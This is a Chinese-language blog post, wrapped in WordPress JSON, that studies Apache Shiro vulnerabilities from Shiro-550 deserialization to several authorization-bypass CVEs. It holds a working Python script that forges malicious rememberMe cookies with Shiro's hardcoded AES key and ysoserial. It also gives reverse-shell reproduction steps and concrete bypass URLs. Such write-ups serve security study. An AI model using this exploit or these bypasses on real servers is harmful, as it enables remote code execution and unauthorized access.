{"id":676,"date":"2022-02-15T15:10:25","date_gmt":"2022-02-15T15:10:25","guid":{"rendered":"http:\/\/www.nokws.top\/?p=676"},"modified":"2022-02-21T13:14:12","modified_gmt":"2022-02-21T13:14:12","slug":"shiro-xiangguanloudongxuexi","status":"publish","type":"post","link":"http:\/\/www.nokws.top\/index.php\/2022\/02\/15\/shiro-xiangguanloudongxuexi\/","title":{"rendered":"Shiro \u76f8\u5173\u6f0f\u6d1e\u5b66\u4e60"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\" id=\"rememberme-rce-550-cve-2016-4437\"><strong>RememberMe RCE-550\uff08CVE-2016-4437\uff09<\/strong><\/h2>\n\n\n\n<p>\u4ea7\u751f\u539f\u56e0\uff1a<\/p>\n\n\n\n<p>        Apache Shiro\u6846\u67b6\u5bf9\u4f20\u5165\u7684\u6570\u636e\uff0c\u5728\u6700\u540e\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u6ca1\u6709\u505a\u8fc7\u6ee4\u5904\u7406\u3002\uff08\u4ec5\u5bf9\u6570\u636e\u8fdb\u884c\u7f16\u7801\u7684\u8bdd\uff0c\u505a\u4ee3\u7801\u5ba1\u8ba1\u5206\u6790\u7f16\u7801\u7684\u539f\u7406\uff0c\u5c31\u53ef\u80fd\u4f1a\u9020\u6210\u7f16\u7801\u201c\u5931\u6548\u201d\uff09<\/p>\n\n\n\n<p>\u6316\u4e2a\u5751\uff0c\u7f16\u7801\uff08\u52a0\u5bc6\uff0c\u4fbf\u4e8e\u4f20\u8f93\uff0c\u9632\u6b62\u4fe1\u606f\u6cc4\u9732\uff08\u54c8\u5e0c\u503c\uff1f\uff09\uff0c\u9632\u6b62\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\uff1f\uff09<\/p>\n\n\n\n<p>\u6f0f\u6d1e\u5b58\u5728\u70b9\uff1a<\/p>\n\n\n\n<p>      Shiro\u63d0\u4f9b\u4e86\u8bb0\u4f4f\u6211\uff08RememberMe\uff09\u7684\u529f\u80fd\uff0c\u4f7f\u7528CookieRememberMeManager\u3002\u5c06\u4fe1\u606f\u5b58\u5165Cookie\u4fbf\u4e8e\u7528\u6237\u514d\u5bc6\u767b\u5f55\u3002<\/p>\n\n\n\n<p>      \u5ba2\u6237\u7aef\u6d41\u7a0b\uff08\u5bf9Cookie\u6570\u636e\u52a0\u5bc6\u5904\u7406\uff09\uff1a\u5728CookieRememberMeManaer\u7c7b\u4e2d\u5c06cookie\u4e2drememberMe\u5b57\u6bb5\u5185\u5bb9\u8fdb\u884c\u5e8f\u5217\u5316\u3001AES\u52a0\u5bc6\u3001Base64\u7f16\u7801\u64cd\u4f5c\u3002<\/p>\n\n\n\n<p>      \u670d\u52a1\u5668\u7aef\u6d41\u7a0b\uff08\u5bf9Cookie\u6570\u636e\u8fdb\u884c\u68c0\u9a8c\uff09\uff1a\u83b7\u53d6rememberMe cookie -&gt;base64 \u89e3\u7801-&gt;AES\u89e3\u5bc6\uff08\u52a0\u5bc6\u5bc6\u94a5\u786c\u7f16\u7801\uff09-&gt;\u53cd\u5e8f\u5217\u5316\uff08\u672a\u4f5c\u8fc7\u6ee4\u5904\u7406\uff09\u3002\u4f46\u662fAES\u52a0\u5bc6\u7684\u5bc6\u94a5Key\u88ab\u786c\u7f16\u7801(\u5bc6\u94a5\u521d\u59cb\u5c31\u88ab\u5b9a\u4e49\u597d\u4e0d\u80fd\u52a8\u6001\u6539\u53d8\u7684)\u5728\u4ee3\u7801\u91cc\uff0c\u8fd9\u5c31\u610f\u5473\u7740\u6bcf\u4e2a\u4eba\u901a\u8fc7\u6e90\u4ee3\u7801\u90fd\u80fd\u62ff\u5230AES\u52a0\u5bc6\u7684\u5bc6\u94a5\u3002<\/p>\n\n\n\n<p>\u653b\u51fb\u6d41\u7a0b\uff1a<\/p>\n\n\n\n<p>       \u653b\u51fb\u8005\u53ef\u4ee5\u6784\u9020\u4e00\u4e2a\u6076\u610f\u7684\u5bf9\u8c61\uff0c\u5e76\u4e14\u5bf9\u5176\u5e8f\u5217\u5316\u3001AES\u52a0\u5bc6\u3001base64\u7f16\u7801\u540e\uff0c\u4f5c\u4e3acookie\u7684rememberMe\u5b57\u6bb5\u53d1\u9001\u3002Shiro\u5c06rememberMe\u8fdb\u884c\u89e3\u5bc6\u5e76\u4e14\u53cd\u5e8f\u5217\u5316\uff0c\u6700\u7ec8\u5c31\u9020\u6210\u4e86\u53cd\u5e8f\u5217\u5316\u7684RCE\u6f0f\u6d1e\u3002\u53ea\u8981rememberMe\u7684AES\u52a0\u5bc6\u5bc6\u94a5\u6cc4\u9732\uff0c\u65e0\u8bbashiro\u662f\u4ec0\u4e48\u7248\u672c\u90fd\u53ef\u80fd\u4f1a\u5bfc\u81f4\u8be5\u6f0f\u6d1e\u7684\u4ea7\u751f.\u786c\u7f16\u7801\u662f\u5c06\u6570\u636e\u76f4\u63a5\u5d4c\u5165\u5230\u7a0b\u5e8f\u6216\u5176\u4ed6\u53ef\u6267\u884c\u5bf9\u8c61\u7684\u6e90\u4ee3\u7801\u4e2d\u3002<\/p>\n\n\n\n<p>\u6f0f\u6d1e\u590d\u73b0\uff1a<\/p>\n\n\n\n<p>1.\u786e\u5b9a\u5bf9\u8c61\u5b58\u5728Shiro\u6846\u67b6\uff0c\u786e\u5b9a\u5bf9\u8c61\u7248\u672c\uff1b<\/p>\n\n\n\n<p>2.\u68c0\u67e5<strong><strong>\u8fd4\u56de\u5305\u7684 Set-Cookie<\/strong><\/strong>&nbsp;\u4e2d\u662f\u5426\u5b58\u5728&nbsp;<strong><strong>rememberMe=deleteMe<\/strong><\/strong>&nbsp;\u5b57\u6bb5\uff1b<\/p>\n\n\n\n<p>3.\u6d4b\u8bd5\u5bc6\u94a5<\/p>\n\n\n\n<p>4.\u5c06\u60f3\u6267\u884c\u7684\u547d\u4ee4\uff08\u53cd\u5f39shell\u7b49\uff09\u8fdb\u884c\u7f16\u7801\uff08http:\/\/www.jackson-t.ca\/runtime-exec-payloads.html\uff0c\u4f7f\u7ba1\u9053\u3001\u91cd\u5b9a\u5411\u3001\u7a7a\u683c\u7ecf\u8fc7base64\u7f16\u7801\u540e\u5f97\u4ee5\u8fd0\u884c\uff09<\/p>\n\n\n\n<p>5.\u5f00\u542f\u76d1\u542c\u7aef\u53e3\uff0c\u4e00\u4e2a\u76d1\u542c\u53cd\u5f39shell\u7684\u7aef\u53e3\uff08\u5fc5\u987b\uff09\uff0c\u4e00\u4e2a\u76d1\u542c\u670d\u52a1\u5668\u8fde\u63a5\u5229\u7528ysoserial.jar\uff08\u975e\u5fc5\u987b\uff09\uff1b<\/p>\n\n\n\n<p>6.\u5c06\u7f16\u7801\u540e\u7684\u547d\u4ee4\u5e8f\u5217\u5316\u3001AES\u52a0\u5bc6\u3001base64\u7f16\u7801\u540e\uff0c\u5728Cookie\u4e2d\u53d1\u9001\uff0c\u7b49\u5f85\u8fd4\u56deshell\u3002<\/p>\n\n\n\n<p>Shiro.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\nimport sys\nimport uuid\nimport base64\nimport subprocess\nfrom Crypto.Cipher import AES\t#pip install pycryptodome\n \ndef encode_rememberme(command):\n\tpopen = subprocess.Popen(&#91;'java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout = subprocess.PIPE)\n\tBS = AES.block_size\n\tpad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()\n\tkey = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==')\n\tiv = uuid.uuid4().bytes\n\tencryptor = AES.new(key, AES.MODE_CBC, iv)\n\tfile_body = pad(popen.stdout.read())\n\tbase64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))\n\treturn base64_ciphertext\n \nif __name__ == '__main__':\n\tpayload = encode_rememberme(sys.argv&#91;1])\n\tprint(\"rememberMe={0}\".format(payload.decode()))\n<\/code><\/pre>\n\n\n\n<p>\u8fd9\u4e2a\u53ea\u6709\u4e00\u4e2aAES\u7f16\u7801\u7684\u5bc6\u94a5\u3002&#8217;kPH+bIxk5D2deZiIxcaaaA==&#8217;<\/p>\n\n\n\n<p>\uff08\u76f4\u63a5\u4f7f\u7528\u5de5\u5177\u53ef\u4ee5\u7701\u7565\u4ee5\u4e0a\u6b65\u9aa4\u3002\u3002\u518d\u6316\u4e2a\u5751\uff0c\u60f3\u77e5\u9053\u4ed6\u4eec\u600e\u4e48\u7f16\u5199\u7684\u5de5\u5177\uff09<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"\u8fdc\u7a0b\u5b89\u5168\u9650\u5236\u7ed5\u8fc7\u6f0f\u6d1e-cve-2016-6802-\u6f0f\u6d1e\u8be6\u60c5\">\u8fdc\u7a0b\u5b89\u5168\u9650\u5236\u7ed5\u8fc7\u6f0f\u6d1e\uff08CVE-2016-6802\uff09<\/h2>\n\n\n\n<p>\u6f0f\u6d1e\u8be6\u60c5<\/p>\n\n\n\n<p>shiro\u5728\u8def\u5f84\u63a7\u5236\u7684\u65f6\u5019\uff0c\u672a\u80fd\u5bf9\u4f20\u5165\u7684url\u7f16\u7801\u8fdb\u884cdecode\u89e3\u7801\uff0c\u5bfc\u81f4\u653b\u51fb\u8005\u53ef\u4ee5\u7ed5\u8fc7\u8fc7\u6ee4\u5668\uff0c\u8bbf\u95ee\u88ab\u8fc7\u6ee4\u7684\u8def\u5f84\u3002<\/p>\n\n\n\n<p>\u6f0f\u6d1e\u5f71\u54cd<\/p>\n\n\n\n<p>shrio &lt;1.3.2<\/p>\n\n\n\n<p>\u6f0f\u6d1e\u5229\u7528<\/p>\n\n\n\n<p>\u8bbf\u95eehttp:\/\/127.0.0.1\/admin \u7684\u65f6\u5019\uff0c\u9875\u9762\u8fd4\u56de403\u3002\u56e0\u6b64\u53ef\u4ee5\u786e\u5b9aadmin\u8def\u5f84\u662f\u5c5e\u4e8e\u88ab\u8fc7\u6ee4\u8def\u5f84\u3002\u6b64\u65f6\u4f7f\u7528burp\u622a\u65ad\uff0c\u7136\u540e\u5728\u8bbf\u95ee\u8def\u5f84\u7684\u6700\u540e\u6dfb\u52a0%2f\uff0c\u65e2\u53ef\u7ed5\u8fc7shiro\u68c0\u6d4b\u3002\u56e0\u4e3a\u5bf9\u4e8e\u6d4f\u89c8\u5668\u6765\u8bf4%2f\u4f1a\u88ab\u81ea\u52a8\u7f16\u7801\u4e3a\/\uff0c\u4f46\u662fburp\u622a\u65ad\u4e4b\u540e\u8fdb\u5165shiro\uff0cshiro\u672a\u5bf9\u5176\u89e3\u7801\uff0c\u6240\u4ee5\u53ef\u4ee5\u7ed5\u8fc7\u3002<\/p>\n\n\n\n<p>\u5177\u4f53\u7684\u53ef\u4ee5\u67e5\u770b\uff1a<a href=\"https:\/\/www.freesion.com\/article\/3280653121\/\">Apache Shiro Padding Oracle Attack (Shiro-721)\u6f0f\u6d1e\u590d\u73b0 &#8211; \u7070\u4fe1\u7f51\uff08\u8f6f\u4ef6\u5f00\u53d1\u535a\u5ba2\u805a\u5408\uff09 (freesion.com)<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"shiro\u642d\u914dspring\u65f6\u8eab\u4efd\u9a8c\u8bc1\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790-cve-2020-1957\">Shiro\u642d\u914dspring\u65f6\u8eab\u4efd\u9a8c\u8bc1\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790\uff08CVE-2020-1957\uff09<\/h2>\n\n\n\n<p>\u6f0f\u6d1e\u8be6\u60c5<\/p>\n\n\n\n<p>\u5728Shiro\u4e2d\u7684URL\u8def\u5f84\u8868\u8fbe\u5f0fpathPattern\u53ef\u4ee5\u6b63\u786e\u5339\u914d\/resource\/menus\uff0c\u4f46\u4e0d\u80fd\u6b63\u786e\u5339\u914d\/resource\/menus\/\uff0c\u5bfc\u81f4\u8fc7\u6ee4\u94fe\u65e0\u6cd5\u6b63\u786e\u5339\u914d\uff0c\u4ece\u800c\u7ed5Shiro\u7684\u9632\u62a4\u673a\u5236\u3002\u5f53Shiro \u7684Ant\u683c\u5f0f\u7684pathPattern \u4e2d\u7684\u7684<em>\u901a\u914d\u7b26\u662f\u4e0d\u652f\u6301\u5339\u914d\u8def\u5f84\u7684\uff0c\u6240\u4ee5\/hello\/<\/em>\u4e0d\u80fd\u6210\u529f\u5339\u914d\/hello\/1\/\uff0c\u4e5f\u5c31\u4e0d\u4f1a\u89e6\u53d1authc\u62e6\u622a\u5668\u8fdb\u884c\u6743\u9650\u62e6\u622a\u3002\u4ece\u800c\u6210\u529f\u7ed5\u8fc7\u4e86Shiro\u62e6\u622a\u5668\uff0c\u800c\u540e\u518d\u8fdb\u5165\u5230spring\u62e6\u622a\u5668\u4e2d\uff0c\/hello\/1\/\u4e0e\/hello\/1\u80fd\u83b7\u53d6\u5230\u76f8\u540c\u7684\u8d44\u6e90\u3002<\/p>\n\n\n\n<p>\u5f71\u54cd\u7248\u672c<\/p>\n\n\n\n<p>Shiro &lt;1.5.2<\/p>\n\n\n\n<p>\u6f0f\u6d1e\u5206\u6790<\/p>\n\n\n\n<p>https:\/\/www.freebuf.com\/vuls\/231909.html<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"apache-shiro\u6743\u9650\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790-cve-2020-11989\">Apache Shiro\u6743\u9650\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790(CVE-2020-11989)<\/h2>\n\n\n\n<p id=\"apache-shiro\u6743\u9650\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790-cve-2020-11989\">\u6f0f\u6d1e\u8be6\u60c5<\/p>\n\n\n\n<p>\u5982\u679c\u76f4\u63a5\u8bbf\u95ee \/test\/admin\/page \uff0c\u4f1a\u8fd4\u56de302\u8df3\u8f6c\u8981\u6c42\u767b\u5f55\uff0c<\/p>\n\n\n\n<p>\u8bbf\u95ee \/;\/test\/admin\/page , \u5c31\u80fd\u76f4\u63a5\u7ed5\u8fc7Shiro\u6743\u9650\u9a8c\u8bc1\uff0c\u8bbf\u95ee\u5230\/admin\u8def\u7531\u4e2d\u7684\u4fe1\u606f<\/p>\n\n\n\n<p>\u6f0f\u6d1e\u7248\u672c<\/p>\n\n\n\n<p>Shiro &lt; 1.5.3<\/p>\n\n\n\n<p>Sping\u6846\u67b6\u53ea\u4f7f\u7528shiro\u9274\u6743<\/p>\n\n\n\n<p>\u6f0f\u6d1e\u5206\u6790<\/p>\n\n\n\n<p><a href=\"https:\/\/xz.aliyun.com\/t\/7964\">https:\/\/xz.aliyun.com\/t\/7964<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"apache-shiro-\u6743\u9650\u7ed5\u8fc7\u6f0f\u6d1e-cve-2020-13933\">Apache Shiro \u6743\u9650\u7ed5\u8fc7\u6f0f\u6d1e\uff08CVE-2020-13933\uff09<\/h2>\n\n\n\n<p>\u6f0f\u6d1e\u8be6\u60c5<\/p>\n\n\n\n<p>Apache Shiro\u7684CVE-2020-11989\u4fee\u8865\u8865\u4e01\u4f9d\u65e7\u5b58\u5728\u7f3a\u9677\uff0c\u7531\u4e8eshiro\u548cspring\u5728\u5904\u7406url\u4e2d\u4ecd\u7136\u5b58\u5728\u5dee\u522b\uff0c\u901a\u8fc7\u6784\u9020\u7279\u6b8a\u7684HTTP\u8bf7\u6c42\uff0c\u53ef\u4ee5\u518d\u6b21\u7ed5\u8fc7\u6388\u6743\uff0c\u8bbf\u95ee\u672a\u6388\u6743\u7684\u4fe1\u606f\u3002\u8bbf\u95ee\/read\/xx\uff0c\u88ab302\u91cd\u5b9a\u5411\u5230\u4e86\/login, \u800c\u8bbf\u95ee\/read\/%3bxxx\uff0c\u80fd\u591f\u7ed5\u8fc7\u8ba4\u8bc1\u3002<\/p>\n\n\n\n<p>\u6f0f\u6d1e\u7248\u672c<\/p>\n\n\n\n<p>Shiro&lt;1.6.0<\/p>\n\n\n\n<p>\u6f0f\u6d1e\u5206\u6790<\/p>\n\n\n\n<p><a href=\"https:\/\/xz.aliyun.com\/t\/8230\/\">https:\/\/xz.aliyun.com\/t\/8230\/<\/a><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u5b9e\u9645\u6f0f\u6d1e\u6316\u6398\u4e2d\u8fd8\u662fshiro\u53cd\u5e8f\u5217\u5316\u5e38\u89c1\uff0c\u591a\u7528\u811a\u672c\u6d4b\u8bd5\uff1b\u6743\u9650\u6f0f\u6d1e\u5e76\u4e0d\u5e38\u89c1\u3002<\/p>\n\n\n\n<p>\u53c2\u8003\u94fe\u63a5<\/p>\n\n\n\n<p><a href=\"https:\/\/www.cnblogs.com\/xiaozi\/p\/13239046.html\">Shiro\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5229\u7528\u6c47\u603b\uff08Shiro-550+Shiro-721\uff09 &#8211; Bypass &#8211; \u535a\u5ba2\u56ed (cnblogs.com)<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/blog.csdn.net\/qq_41832837\/article\/details\/109064636\">(11\u6761\u6d88\u606f) Apache Shiro\u7cfb\u5217\u6f0f\u6d1e\u5229\u7528\u4ee5\u53ca\u5b9e\u6218\u603b\u7ed3_jammny-CSDN\u535a\u5ba2_shiro\u6f0f\u6d1e<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/longofo\/PaddingOracleAttack-Shiro-721\">longofo\/PaddingOracleAttack-Shiro-721: Shiro-721 Padding Oracle Attack (github.com)<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/blog.csdn.net\/qq_42773814\/article\/details\/112393359\">(11\u6761\u6d88\u606f) Apache Shiro\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u590d\u73b0\u5e76\u5229\u7528\uff08CVE-2016-4437\uff09_qq_42773814\u7684\u535a\u5ba2-CSDN\u535a\u5ba2<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/www.jianshu.com\/p\/a9c2d3414b63\">shiro\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5229\u7528 &#8211; \u7b80\u4e66 (jianshu.com)<\/a><br><\/p>\n","protected":false},"excerpt":{"rendered":"<p>RememberMe RCE-550\uff08CVE-2016-4437\uff09 \u4ea7\u751f\u539f\u56e0\uff1a Apache Shiro\u6846\u67b6\u5bf9 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-676","post","type-post","status-publish","format-standard","hentry","category-loudongfuxian"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/676","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/comments?post=676"}],"version-history":[{"count":7,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/676\/revisions"}],"predecessor-version":[{"id":686,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/676\/revisions\/686"}],"wp:attachment":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/media?parent=676"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/categories?post=676"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/tags?post=676"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}